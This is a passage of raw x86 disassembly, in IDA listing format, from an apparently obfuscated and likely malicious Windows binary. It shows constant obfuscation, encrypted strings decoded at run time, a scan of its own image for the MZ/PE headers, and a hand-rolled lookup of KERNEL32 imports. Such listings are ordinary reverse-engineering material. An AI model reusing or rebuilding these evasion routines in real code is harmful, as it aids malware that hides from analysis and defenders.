loc_43B450:				; CODE XREF: sub_43B3AD+DCj
		push	esi
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_43F052
		add	esp, 8
		mov	eax, dword_54F100
		add	eax, 2Fh
		add	eax, dword_54F120
		lea	esi, [esi+eax]
		inc	ebx


loc_43B46F:				; CODE XREF: sub_43B3AD+A1j
		mov	edi, [ebp+arg_4]
		mov	edx, dword_54F1F4
		add	edx, 37h
		mov	eax, edi
		add	eax, edx
		jge	short loc_43B484
		add	eax, 3Fh


loc_43B484:				; CODE XREF: sub_43B3AD+D2j
		sar	eax, 6
		cmp	ebx, eax
		jl	short loc_43B450
		push	8000h
		mov	eax, dword_54F124
		sub	eax, 2
		push	eax
		push	[ebp+var_14]
		call	ds:dword_4CB810
		lea	eax, [ebp+var_54]
		push	eax
		push	[ebp+arg_8]
		call	sub_441ADA
		mov	eax, dword_54F178
		add	eax, 7
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		call	ds:dword_50C940
		add	esp, 14h
		mov	edi, dword_54F0E4
		sub	edi, 5
		cmp	eax, edi
		jz	short loc_43B4DA
		xor	eax, eax
		inc	eax
		jmp	short loc_43B4DC
; ---------------------------------------------------------------------------


loc_43B4DA:				; CODE XREF: sub_43B3AD+126j
		xor	eax, eax


loc_43B4DC:				; CODE XREF: sub_43B3AD+12Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B3AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B4E1	proc near		; DATA XREF: .data:0054F2D0o
		push	ebp
		mov	ebp, esp
		mov	eax, dword_54F1D0
		sub	eax, 7
		cmp	ds:dword_54DF3C, eax
		jbe	short loc_43B4FF
		push	offset dword_54DF3C
		call	ds:dword_446014


loc_43B4FF:				; CODE XREF: sub_43B4E1+11j
		mov	eax, ds:dword_54DF3C
		pop	ebp
		retn	4
sub_43B4E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B508	proc near		; DATA XREF: .data:0054F2F4o
		push	ebp
		mov	ebp, esp
		mov	eax, dword_54F230
		add	eax, dword_54F124
		sub	eax, 3
		cmp	ds:dword_4495B8, eax
		jbe	short loc_43B52C
		push	offset dword_4495B8
		call	ds:dword_446014


loc_43B52C:				; CODE XREF: sub_43B508+17j
		mov	eax, ds:dword_4495B8
		pop	ebp
		retn	4
sub_43B508	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B535	proc near		; DATA XREF: sub_441843+53o

var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_1FE		= byte ptr -1FEh
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_210]
		push	eax
		push	offset dword_4490A0
		call	sub_4437E1
		add	esp, 8
		mov	[ebp+var_208], eax
		movsx	eax, word_54F194
		movsx	edx, word_54F198
		add	eax, edx
		sub	eax, 2
		cmp	[ebp+var_208], eax
		jnz	short loc_43B57D
		xor	eax, eax
		jmp	loc_43B70E
; ---------------------------------------------------------------------------


loc_43B57D:				; CODE XREF: sub_43B535+3Fj
		mov	eax, dword_54F214
		add	eax, dword_54F0EC
		mov	[ebp+var_204], eax


loc_43B58E:				; CODE XREF: sub_43B535+1C5j
		mov	eax, [ebp+var_204]
		mov	edx, [ebp+var_208]
		lea	ecx, [edx+eax]
		or	eax, 0FFFFFFFFh


loc_43B5A0:				; CODE XREF: sub_43B535+70j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43B5A0
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0FFh
		jnb	short loc_43B5E3
		mov	eax, [ebp+var_204]
		mov	edx, dword_54F224
		add	edx, dword_54F1F8
		sub	edx, 3
		add	eax, edx
		add	eax, [ebp+var_208]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_4455D4


loc_43B5E3:				; CODE XREF: sub_43B535+82j
		movsx	esi, word_54F0A8
		jmp	short loc_43B611
; ---------------------------------------------------------------------------


loc_43B5EC:				; CODE XREF: sub_43B535+EEj
		cmp	[ebp+esi+var_FF], 29h
		jnz	short loc_43B5FE
		mov	[ebp+esi+var_FF], 3Dh


loc_43B5FE:				; CODE XREF: sub_43B535+BFj
		cmp	[ebp+esi+var_FF], 28h
		jnz	short loc_43B610
		mov	[ebp+esi+var_FF], 2Bh


loc_43B610:				; CODE XREF: sub_43B535+D1j
		inc	esi


loc_43B611:				; CODE XREF: sub_43B535+B5j
		lea	ecx, [ebp+var_FF]
		or	eax, 0FFFFFFFFh


loc_43B61A:				; CODE XREF: sub_43B535+EAj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43B61A
		cmp	esi, eax
		jb	short loc_43B5EC
		push	0FFh
		lea	eax, [ebp+var_1FE]
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		call	sub_444AA8
		add	esp, 0Ch
		mov	ebx, eax
		movsx	edi, word_54F094
		sub	edi, 2
		jmp	short loc_43B67C
; ---------------------------------------------------------------------------


loc_43B64E:				; CODE XREF: sub_43B535+149j
		movsx	eax, [ebp+edi+var_1FE]
		mov	[ebp+var_218], eax
		mov	eax, edi
		mul	edi
		mov	[ebp+var_21C], eax
		mov	eax, [ebp+var_218]
		mov	edx, [ebp+var_21C]
		sub	eax, edx
		mov	[ebp+edi+var_1FE], al
		inc	edi


loc_43B67C:				; CODE XREF: sub_43B535+117j
		cmp	edi, ebx
		jb	short loc_43B64E
		mov	eax, dword_54F23C
		add	eax, dword_54F1EC
		sub	eax, 2
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1FE]
		push	eax
		call	sub_43DE22
		add	esp, 0Ch
		mov	[ebp+var_214], eax
		mov	eax, dword_54F180
		add	eax, 0FFFBh
		add	eax, dword_54F20C
		cmp	[ebp+var_214], eax
		jz	short loc_43B6D0
		push	[ebp+var_208]
		call	ds:dword_4495CC
		xor	eax, eax
		inc	eax
		jmp	short loc_43B70E
; ---------------------------------------------------------------------------


loc_43B6D0:				; CODE XREF: sub_43B535+188j
		mov	eax, [ebp+var_20C]
		add	[ebp+var_204], eax
		mov	eax, dword_54F18C
		inc	eax
		add	eax, dword_54F158
		add	[ebp+var_204], eax
		mov	eax, [ebp+var_210]
		cmp	[ebp+var_204], eax
		jb	loc_43B58E
		push	[ebp+var_208]
		call	ds:dword_4495CC
		xor	eax, eax


loc_43B70E:				; CODE XREF: sub_43B535+43j
					; sub_43B535+199j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B535	endp


; =============== S U B	R O U T	I N E =======================================



sub_43B713	proc near		; DATA XREF: .data:0054F2D4o
		mov	eax, 80004001h
		retn	8
sub_43B713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B71B	proc near		; CODE XREF: sub_43B0C6+10Dp

var_40		= word ptr -40h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		movsx	eax, word_54F148
		mov	edi, eax
		add	edi, dword_54F1C0
		sub	edi, 2
		jmp	short loc_43B749
; ---------------------------------------------------------------------------


loc_43B73B:				; CODE XREF: sub_43B71B+3Ej
		mov	ebx, edi
		shl	ebx, 1
		mov	dx, [esi+edi*2]
		mov	[ebp+ebx+var_40], dx
		inc	edi


loc_43B749:				; CODE XREF: sub_43B71B+1Ej
		mov	eax, dword_54F140
		add	eax, 1Fh
		add	eax, dword_54F1DC
		cmp	edi, eax
		jb	short loc_43B73B
		lea	eax, [ebp+var_40]
		push	eax
		push	esi
		call	sub_443AFA
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B71B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43B76D	proc near		; CODE XREF: start+1p

var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_127		= byte ptr -127h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 138h
		push	ebx
		push	esi
		push	edi
		lea	edx, sub_444ED7
		mov	ecx, dword_54F17C
		add	ecx, 9
		mov	eax, edx
		shr	eax, cl
		mov	edx, dword_54F230
		add	edx, 7
		add	edx, dword_54F1D4
		mov	ecx, edx
		mov	ebx, eax
		shl	ebx, cl
		lea	eax, sub_444ED7
		mov	[ebp+var_14], eax


loc_43B7AA:				; CODE XREF: sub_43B76D+5Fj
					; sub_43B76D+90j ...
		mov	[ebp+var_18], ebx
		mov	eax, ebx
		cmp	word ptr [eax],	5A4Dh
		jz	short loc_43B7CE
		movsx	eax, word_54F148
		mov	edx, dword_54F0E0
		lea	eax, [eax+edx+0FFF9h]
		sub	ebx, eax
		jmp	short loc_43B7AA
; ---------------------------------------------------------------------------


loc_43B7CE:				; CODE XREF: sub_43B76D+47j
		mov	eax, dword_54F1E0
		add	eax, 38h
		mov	esi, ebx
		add	esi, eax
		mov	eax, ebx
		add	eax, [esi]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_14]
		cmp	eax, ecx
		jbe	short loc_43B7FF
		mov	eax, dword_54F120
		add	eax, 0FFF2h
		movsx	edx, word_54F0D0
		add	eax, edx
		sub	ebx, eax
		jmp	short loc_43B7AA
; ---------------------------------------------------------------------------


loc_43B7FF:				; CODE XREF: sub_43B76D+79j
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		movzx	eax, word ptr [eax]
		cmp	eax, 4550h
		jz	short loc_43B81F
		movsx	eax, word_54F0F8
		add	eax, 0FFFBh
		sub	ebx, eax
		jmp	short loc_43B7AA
; ---------------------------------------------------------------------------


loc_43B81F:				; CODE XREF: sub_43B76D+A0j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+80h]
		mov	[ebp+var_C], eax
		mov	eax, dword_54F1B4
		sub	eax, 4
		mov	[ebp+var_4], eax
		jmp	loc_43B9B7
; ---------------------------------------------------------------------------


loc_43B83B:				; CODE XREF: sub_43B76D+256j
		mov	eax, ebx
		add	eax, [ebp+var_C]
		add	eax, [ebp+var_4]
		mov	[ebp+var_12C], eax
		mov	edx, dword_54F0D4
		sub	edx, 5
		cmp	[eax], edx
		jz	loc_43B9C9
		mov	eax, [ebp+var_12C]
		mov	edx, ebx
		add	edx, [eax+0Ch]
		mov	[ebp+var_130], edx
		push	edx
		lea	eax, [ebp+var_127]
		push	eax
		call	sub_4455D4
		mov	eax, dword_54F1B0
		add	eax, dword_54F178
		sub	eax, 10h
		mov	[ebp+var_28], eax
		jmp	short loc_43B8AD
; ---------------------------------------------------------------------------


loc_43B88B:				; CODE XREF: sub_43B76D+156j
		mov	eax, [ebp+var_28]
		mov	al, [ebp+eax+var_127]
		cmp	al, 61h
		jle	short loc_43B8AA
		cmp	al, 7Ah
		jge	short loc_43B8AA
		mov	eax, [ebp+var_28]
		lea	eax, [ebp+eax+var_127]
		sub	byte ptr [eax],	20h


loc_43B8AA:				; CODE XREF: sub_43B76D+12Aj
					; sub_43B76D+12Ej
		inc	[ebp+var_28]


loc_43B8AD:				; CODE XREF: sub_43B76D+11Cj
		mov	eax, [ebp+var_28]
		movsx	eax, [ebp+eax+var_127]
		mov	edx, dword_54F1B8
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_43B88B
		mov	eax, dword_54F160
		cmp	byte ptr [ebp+eax+var_12C+3], 4Ch
		jnz	loc_43B9B3
		mov	edx, dword_54F098
		cmp	byte ptr [ebp+edx+var_12C+2], 33h
		jnz	loc_43B9B3
		cmp	byte ptr [ebp+eax+var_130+2], 4Bh
		jnz	loc_43B9B3
		mov	eax, dword_54F12C
		add	eax, dword_54F1FC
		cmp	byte ptr [ebp+eax+var_130+2], 45h
		jnz	loc_43B9B3
		movsx	eax, word_54F144
		cmp	byte ptr [ebp+eax+var_12C+3], 52h
		jnz	loc_43B9B3
		mov	eax, dword_54F17C
		add	eax, dword_54F150
		cmp	byte ptr [ebp+eax+var_12C+1], 32h
		jnz	short loc_43B9B3
		mov	eax, [ebp+var_12C]
		mov	edx, ebx
		add	edx, [eax+10h]
		mov	[ebp+var_138], edx
		mov	eax, dword_54F150
		add	eax, dword_54F23C
		sub	eax, 4
		mov	[ebp+var_134], eax


loc_43B962:				; CODE XREF: sub_43B76D+242j
		mov	eax, [ebp+var_138]
		mov	esi, eax
		add	esi, [ebp+var_134]
		mov	edi, [esi]
		mov	eax, dword_54F20C
		add	eax, dword_54F1D4
		sub	eax, 0Ch
		cmp	edi, eax
		jz	short loc_43B9C9
		push	edi
		call	sub_43DFC1
		pop	ecx
		mov	eax, dword_54F150
		sub	eax, 4
		cmp	dword_54F254, eax
		jnz	short loc_43B9C9
		mov	eax, dword_54F124
		add	eax, dword_54F16C
		sub	eax, 3
		add	[ebp+var_134], eax
		jmp	short loc_43B962
; ---------------------------------------------------------------------------
		jmp	short loc_43B9C9
; ---------------------------------------------------------------------------


loc_43B9B3:				; CODE XREF: sub_43B76D+165j
					; sub_43B76D+179j ...
		add	[ebp+var_4], 14h


loc_43B9B7:				; CODE XREF: sub_43B76D+C9j
		mov	eax, [ebp+var_8]
		mov	eax, [eax+84h]
		cmp	[ebp+var_4], eax
		jb	loc_43B83B


loc_43B9C9:				; CODE XREF: sub_43B76D+E7j
					; sub_43B76D+215j ...
		mov	eax, dword_54F1D0
		add	eax, dword_54F248
		sub	eax, 0Bh
		cmp	dword_54F254, eax
		jz	short loc_43BA41
		call	sub_43C7A3
		call	sub_43C397
		call	sub_43BC76
		mov	edx, eax
		mov	[ebp+var_19], dl
		movzx	eax, [ebp+var_19]
		mov	edx, dword_54F0D4
		sub	edx, 3
		cmp	eax, edx
		jz	short loc_43BA41
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, dword_54F1B4
		sub	eax, 4
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	offset sub_444ED7
		mov	eax, dword_54F18C
		add	eax, dword_54F0D4
		sub	eax, 6
		push	eax
		mov	eax, dword_54F228
		movsx	edx, word_54F0F8
		add	eax, edx
		sub	eax, 0Dh
		push	eax
		call	ds:dword_54DF20


loc_43BA41:				; CODE XREF: sub_43B76D+270j
					; sub_43B76D+295j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43B76D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BA46	proc near		; CODE XREF: sub_43F052+ABp
					; sub_43F052+FDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, esi
		and	eax, [ebp+arg_8]
		mov	edx, esi
		not	edx
		and	edx, [ebp+arg_C]
		or	eax, edx
		mov	edx, edi
		add	edx, eax
		mov	eax, edx
		add	eax, [ebp+arg_10]
		mov	edi, eax
		add	edi, [ebp+arg_18]
		push	[ebp+arg_14]
		push	edi
		call	sub_43D3EA
		add	esp, 8
		mov	edi, eax
		add	edi, esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_43BA46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BA83	proc near		; DATA XREF: sub_4447F2+2Do

var_1FFF	= byte ptr -1FFFh
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_4455B4
		push	esi
		push	edi
		push	1FFFh
		lea	eax, [ebp+var_1FFF]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_54DF38
		push	offset byte_5507D9
		call	sub_43AAF7
		mov	edi, dword_54F1F8
		sub	edi, 2
		push	edi
		push	eax
		lea	edi, [ebp+var_1FFF]
		push	edi
		call	sub_43DE22
		add	esp, 10h
		mov	esi, dword_54F1F8
		add	esi, 0FFFCh
		cmp	eax, esi
		jz	short loc_43BAE4
		push	[ebp+arg_0]
		call	sub_4427CD
		pop	ecx


loc_43BAE4:				; CODE XREF: sub_43BA83+56j
		xor	eax, eax
		inc	eax
		pop	edi
		pop	esi
		leave
		retn	8
sub_43BA83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BAED	proc near		; CODE XREF: sub_43F052+212p
					; sub_43F052+274p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esi, [ebp+arg_C]
		mov	eax, ebx
		and	eax, esi
		mov	edx, [ebp+arg_8]
		mov	ecx, esi
		not	ecx
		and	edx, ecx
		or	eax, edx
		mov	edx, edi
		add	edx, eax
		mov	eax, edx
		add	eax, [ebp+arg_10]
		mov	edi, eax
		add	edi, [ebp+arg_18]
		push	[ebp+arg_14]
		push	edi
		call	sub_43D3EA
		add	esp, 8
		mov	edi, eax
		add	edi, ebx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_43BAED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BB30	proc near		; CODE XREF: sub_444250+133p
					; DATA XREF: sub_441843+69o

var_104		= byte ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	esi
		push	edi
		mov	eax, dword_54F10C
		mov	edx, eax
		add	edx, dword_54F19C
		sub	edx, 6
		push	edx
		add	eax, dword_54F14C
		sub	eax, 4
		push	eax
		push	3
		movsx	eax, word_54F240
		add	eax, dword_54F1A0
		sub	eax, 10h
		push	eax
		mov	eax, dword_54F0C0
		sub	eax, 2
		push	eax
		push	80000000h
		push	offset dword_4CA230
		call	ds:dword_54DB18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_43BB90
		mov	eax, 2Ah
		jmp	short loc_43BBFA
; ---------------------------------------------------------------------------


loc_43BB90:				; CODE XREF: sub_43BB30+57j
		mov	eax, dword_54F228
		movsx	edx, word_54F0C4
		add	eax, edx
		sub	eax, 0Eh
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_446034
		mov	esi, eax
		push	edi
		call	ds:dword_4CB948
		movzx	eax, [ebp+var_FF]
		mov	edx, dword_54F1D0
		add	edx, 1Ah
		cmp	eax, edx
		jge	short loc_43BBE0
		mov	eax, 2Ah
		jmp	short loc_43BBFA
; ---------------------------------------------------------------------------


loc_43BBE0:				; CODE XREF: sub_43BB30+A7j
		mov	eax, dword_54F19C
		sub	eax, 4
		cmp	esi, eax
		jnz	short loc_43BBF3
		mov	eax, 2Ah
		jmp	short loc_43BBFA
; ---------------------------------------------------------------------------


loc_43BBF3:				; CODE XREF: sub_43BB30+BAj
		movzx	eax, [ebp+var_FF]


loc_43BBFA:				; CODE XREF: sub_43BB30+5Ej
					; sub_43BB30+AEj ...
		pop	edi
		pop	esi
		leave
		retn
sub_43BB30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BBFE	proc near		; CODE XREF: sub_43E364+B8p
					; sub_43E364+273p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	ebx
		call	ds:dword_446000
		mov	edi, eax
		mov	eax, dword_54F188
		add	eax, dword_54F1E4
		sub	eax, 9
		push	eax
		mov	eax, dword_54F0B8
		add	eax, dword_54F224
		sub	eax, 5
		push	eax
		mov	eax, dword_54F160
		add	eax, 1FF7h
		movsx	edx, word_54F148
		add	eax, edx
		push	eax
		push	esi
		push	edi
		push	ebx
		movsx	eax, word_54F0C4
		sub	eax, 6
		push	eax
		push	0
		call	ds:dword_446010
		mov	eax, dword_54F114
		movsx	edx, word_54F198
		add	eax, edx
		sub	eax, 2
		mov	[esi+edi], al
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_43BBFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BC76	proc near		; CODE XREF: sub_43B76D+27Cp
					; sub_444ED7:loc_444F1Cp

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	esi
		push	edi
		mov	edi, dword_54F188
		inc	edi
		movsx	eax, word_54F0A8
		add	edi, eax
		jmp	short loc_43BD04
; ---------------------------------------------------------------------------


loc_43BC93:				; CODE XREF: sub_43BC76+A1j
		push	offset byte_5507CD
		call	sub_43AAF7
		mov	[ebp+var_108], eax
		push	offset byte_5507C3
		call	sub_43AAF7
		push	edi
		push	eax
		mov	esi, [ebp+var_108]
		push	esi
		lea	esi, [ebp+var_FF]
		push	esi
		call	ds:dword_50C928
		add	esp, 18h
		lea	eax, [ebp+var_FF]
		push	eax
		push	0
		push	100000h
		call	ds:dword_4CB938
		mov	[ebp+var_104], eax
		or	eax, eax
		jz	short loc_43BD03
		push	eax
		call	ds:dword_4CB948
		movsx	eax, word_54F128
		inc	eax
		cmp	edi, eax
		jnz	short loc_43BCFC
		xor	eax, eax
		inc	eax
		jmp	short loc_43BD1F
; ---------------------------------------------------------------------------


loc_43BCFC:				; CODE XREF: sub_43BC76+7Fj
		mov	eax, 2
		jmp	short loc_43BD1F
; ---------------------------------------------------------------------------


loc_43BD03:				; CODE XREF: sub_43BC76+6Cj
		inc	edi


loc_43BD04:				; CODE XREF: sub_43BC76+1Bj
		mov	eax, dword_54F110
		add	eax, 5Bh
		movsx	edx, word_54F104
		add	eax, edx
		cmp	edi, eax
		jb	loc_43BC93
		xor	eax, eax


loc_43BD1F:				; CODE XREF: sub_43BC76+84j
					; sub_43BC76+8Bj
		pop	edi
		pop	esi
		leave
		retn
sub_43BC76	endp


; =============== S U B	R O U T	I N E =======================================



sub_43BD23	proc near		; CODE XREF: sub_444ED7+Cp
		push	edi
		push	offset asc_5507B4 ; "\v"
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_449598
		mov	dword_54F27C, eax
		mov	eax, dword_54F0EC
		movsx	edx, word_54F164
		add	eax, edx
		sub	eax, 2
		cmp	dword_54F27C, eax
		jnz	short loc_43BD6B
		push	offset byte_5507A5
		call	sub_43AAF7
		pop	ecx
		push	eax
		call	ds:dword_48A218
		mov	dword_54F27C, eax


loc_43BD6B:				; CODE XREF: sub_43BD23+2Fj
		push	offset byte_55078D
		call	sub_43AAF7
		pop	ecx
		push	eax
		push	dword_54F27C
		call	ds:dword_4491AC
		mov	ds:dword_447FC4, eax
		pop	edi
		retn
sub_43BD23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BD8A	proc near		; CODE XREF: sub_444250+572p
					; DATA XREF: sub_441843+ECo

var_10A		= byte ptr -10Ah
var_104		= byte ptr -104h
var_FF		= byte ptr -0FFh
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		mov	eax, dword_54F0A4
		add	eax, dword_54F1B4
		mov	dl, [ebp+arg_0]
		mov	[ebp+eax+var_10A], dl
		mov	eax, dword_54F1E0
		sub	eax, 4
		push	eax
		push	80h
		push	4
		mov	eax, dword_54F178
		sub	eax, 9
		push	eax
		mov	eax, dword_54F24C
		movsx	edx, word_54F208
		add	eax, edx
		sub	eax, 0Ah
		push	eax
		push	40000000h
		push	offset dword_4CA230
		call	ds:dword_54DB18
		mov	edi, eax
		movsx	eax, word_54F1C4
		add	eax, dword_54F170
		sub	eax, 0Ch
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		mov	eax, dword_54F178
		sub	eax, 8
		push	eax
		lea	eax, [ebp+var_FF]
		push	eax
		push	edi
		call	ds:dword_54DF1C
		push	edi
		call	ds:dword_4CB948
		pop	edi
		leave
		retn
sub_43BD8A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_43BE1F	proc near		; DATA XREF: sub_443B7F+1AAo

var_A		= byte ptr -0Ah
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	offset sub_441207
		push	dword ptr fs:0
		mov	fs:0, esp
		push	offset byte_550785
		call	sub_43AAF7
		push	dword ptr [edi]
		push	eax
		lea	esi, [ebp+var_A]
		push	esi
		call	ds:dword_50C928
		add	esp, 10h


loc_43BE55:				; CODE XREF: sub_43BE1F+5Dj
		push	0
		push	dword ptr [edi]
		lea	eax, [ebp+var_A]
		push	eax
		call	sub_43E77A
		movsx	eax, word_54F190
		add	eax, dword_54F0B8
		sub	eax, 0Ch
		push	eax
		call	ds:dword_50C924
		add	esp, 10h
		jmp	short loc_43BE55
sub_43BE1F	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43BE84	proc near		; CODE XREF: sub_43BE84+20Ep
					; sub_43BE84+27Cp ...

var_26C		= dword	ptr -26Ch
var_268		= byte ptr -268h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= word ptr -258h
var_256		= word ptr -256h
var_252		= word ptr -252h
var_250		= word ptr -250h
var_24E		= word ptr -24Eh
var_248		= dword	ptr -248h
var_242		= byte ptr -242h
var_13E		= byte ptr -13Eh
var_112		= byte ptr -112h
arg_0		= dword	ptr  8
arg_8		= byte ptr  10h
arg_18		= byte ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		inc	ebx
		push	offset byte_55077D
		call	sub_43AAF7
		push	[ebp+arg_0]
		push	eax
		lea	edi, [ebp+var_242]
		push	edi
		call	ds:dword_50C928
		add	esp, 10h
		lea	eax, [ebp+var_13E]
		push	eax
		lea	eax, [ebp+var_242]
		push	eax
		call	ds:dword_4CA228
		mov	[ebp+var_248], eax
		movsx	eax, word_54F194
		neg	eax
		cmp	[ebp+var_248], eax
		jnz	loc_43C046
		lea	eax, [ebp+arg_18]
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		call	ds:dword_54DB10
		mov	[ebp+var_260], eax
		movsx	eax, word_54F094
		movsx	edx, word_54F0D0
		add	eax, edx
		sub	eax, 8
		cmp	[ebp+var_260], eax
		jle	short loc_43BF1C
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_18]
		movsd
		movsd
		jmp	short loc_43BF27
; ---------------------------------------------------------------------------


loc_43BF1C:				; CODE XREF: sub_43BE84+89j
		lea	edi, [ebp+var_268]
		lea	esi, [ebp+arg_8]
		movsd
		movsd


loc_43BF27:				; CODE XREF: sub_43BE84+96j
		lea	eax, [ebp+var_258]
		push	eax
		lea	eax, [ebp+var_268]
		push	eax
		call	ds:dword_54CA78
		mov	eax, dword_54F158
		movzx	edx, [ebp+var_24E]
		movzx	ecx, [ebp+var_250]
		mov	esi, dword_54F20C
		lea	esi, [eax+esi+35h]
		imul	ecx, esi
		add	edx, ecx
		movzx	ecx, [ebp+var_252]
		mov	esi, dword_54F1F8
		add	esi, 15h
		imul	ecx, esi
		mov	esi, dword_54F15C
		add	esi, 38h
		imul	ecx, esi
		add	edx, ecx
		movzx	ecx, [ebp+var_256]
		mov	esi, dword_54F098
		add	esi, 15h
		imul	ecx, esi
		movsx	esi, word_54F1C4
		mov	edi, dword_54F1B0
		lea	esi, [esi+edi+9]
		imul	ecx, esi
		mov	esi, dword_54F14C
		add	esi, 35h
		movsx	edi, word_54F128
		add	esi, edi
		imul	ecx, esi
		add	edx, ecx
		movzx	ecx, [ebp+var_258]
		mov	esi, dword_54F0E0
		movsx	edi, word_54F09C
		add	esi, edi
		imul	ecx, esi
		movsx	esi, word_54F0B4
		add	esi, 19h
		imul	ecx, esi
		mov	esi, dword_54F0B8
		add	esi, 11h
		add	esi, eax
		mov	eax, ecx
		imul	eax, esi
		movsx	ecx, word_54F1E8
		mov	esi, dword_54F17C
		lea	ecx, [ecx+esi+2Eh]
		imul	eax, ecx
		add	edx, eax
		mov	[ebp+var_25C], edx
		mov	eax, edx
		mov	edx, ds:dword_446030
		cmp	eax, edx
		ja	loc_43C10F
		sub	edx, eax
		mov	eax, dword_54F0B8
		add	eax, 10DCh
		cmp	edx, eax
		jbe	loc_43C10F
		push	[ebp+arg_0]
		call	ds:dword_44600C
		mov	[ebp+var_26C], eax
		jmp	loc_43C10F
; ---------------------------------------------------------------------------


loc_43C046:				; CODE XREF: sub_43BE84+56j
		cmp	[ebp+var_112], 2Eh
		jz	loc_43C10B
		push	offset dword_550774
